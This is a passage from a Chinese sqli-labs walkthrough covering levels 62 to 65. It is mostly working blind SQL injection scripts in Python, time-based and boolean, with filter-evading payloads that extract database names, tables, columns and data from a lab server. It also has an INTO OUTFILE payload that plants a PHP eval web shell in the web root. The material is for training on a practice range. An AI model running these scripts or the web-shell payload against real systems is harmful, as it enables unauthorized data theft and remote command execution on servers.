        # 查询数据库:payload = f'1\')%0cand%0cif((ascii(substr(database(),{i},1))>{mid}),1,sleep(3))--+'
        # 查询数据库:payload = f'1\')%0cand%0cif((ascii(substr((select group_concat(schema_name)from information_schema.schemata),{i},1))>{mid}),1,sleep(3))--+'

        # 查询数据表:payload = f'1\')%0cand%0cif(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=\'ctfshow\')),{i},1))>{mid},1,sleep(3))--+'
        # 查询表字段:payload = f'1\')%0cand%0cif(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="flagug")),{i},1))>{mid},1,sleep(3))--+'
        # 查询字段中信息:payload = f'1\')%0cand%0cif(ascii(substr((select(flag4a23)from(ctfshow.flagug)),{i},1))>{mid},1,sleep(3))--+'
        payload = f'1\')%0cand%0cif((ascii(substr((select group_concat(schema_name)from information_schema.schemata),{i},1))>{mid}),1,sleep(3))--+'

        stime = time.time()
        url1 = url + payload
        r = s.get(url=url1)
        r.encoding = "utf-8"
        # print(payload)
        if time.time() - stime < 2:
            low = mid + 1
        else:
            high = mid
    if low != 32:
        flag += chr(low)
    else:
        break
    print(flag)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35

方法二:时间盲注

payload样例:

?id=1' and if((ascii(substr(database(),1,1))>888),1,sleep(3))--+
//时间盲注,睡了三秒就是不满足条件。
  • 1
  • 2

脚本:

import requests
import time

url = 'http://192.168.3.51:1470/Less-62/?id='
content = ''
for pos in range(500):
	# min_num是ascii码最小可显示符号 空格(space)
	# max_num是ascii码最大可显示符号 波浪号(~)
	min_num = 32
	max_num = 126
	mid_num = (min_num + max_num) // 2
	while min_num < max_num:
		# 查找数据库:payload = '1\')/*!*/and/*!*/if(ord(mid(database(),{},1))>{},1,0)--+'.format(pos, mid_num)
		# 查找数据库:payload = '1\')/*!*/and/*!*/if(ord(mid((select group_concat(schema_name)from information_schema.schemata),{},1))>{},1,0)--+'.format(pos, mid_num)

		# 查找数据表:payload = '1\')/*!*/and/*!*/if(ord(mid((select/*!*/group_concat(table_name)/*!*/from/*!*/information_schema.tables/*!*/where/*!*/table_schema=\'wfy\'),{},1))>{},1,0)--+'.format(pos, mid_num)
		# 查找表中字段:payload = '1\')/*!*/and/*!*/if(ord(mid((select/*!*/group_concat(column_name)/*!*/from/*!*/information_schema.columns/*!*/where/*!*/table_name=\'wfy_comments\'),{},1))>{},1,0)--+'.format(pos, mid_num)
		# 查找数据:payload = '1\')/*!*/and/*!*/if(ord(mid((select/*!*/group_concat(text)/*!*/from/*!*/wfy.wfy_comments),{},1))>{},1,0)--+'.format(pos, mid_num)

		# ord():返回字符串str的最左面字符的ASCII代码值
		# mid():用于得到字符串的一部分
		# if(expr1,expr2,expr3):如果第一个语句正确就执行第二个语句,如果错误执行第三个语句

		payload = '1\')/*!*/and/*!*/if(ord(mid((select group_concat(schema_name)from information_schema.schemata),{},1))>{},1,0)--+'.format(pos, mid_num)
		res_url = url + payload
		print(res_url)
		resp = requests.get(url=res_url)
		#time.sleep(0.5)

		if 'Angelina' in resp.text:
			min_num = mid_num + 1
		else:
			max_num = mid_num

		mid_num = ((min_num + max_num) // 2)

	content += chr(min_num)
	print(content)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38

但是在实际做题中会发现,不管是时间还是布尔,130次都不够用,坚持用盲注的话得大部分手工盲注,不能纯靠脚本。

还有一种更好的办法就是方法三,师傅们继续往下看。

方法三:shell写入文件

payload:

?id=1') INTO OUTFILE "C:/phpstudy/phpstudy_pro/WWW/sqli-labs-master/xxx.php" LINES TERMINATED BY '<?php @eval($_POST[1]); ?>' -- +
  • 1

image-20230803124249007

然后就能执行命令,或者蚁剑链接查看数据库内所有信息(详见48关)。

Sqli-labs 63关

和62关一样,闭合变成了单引号’`。

image-20230803125341939

Sqli-labs 64关

和62关一样,闭合变成了两个括号))
image-20230803125355233

Sqli-labs 65关

和62关一样,闭合变成了双引号加括号")

image-20230803125409698




Sql-Labs靶场就到这里完结散花啦~~~

青山不改,绿水长流,我们下次见!

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/IT小白/article/detail/559465
推荐阅读
相关标签
  

闽ICP备14008679号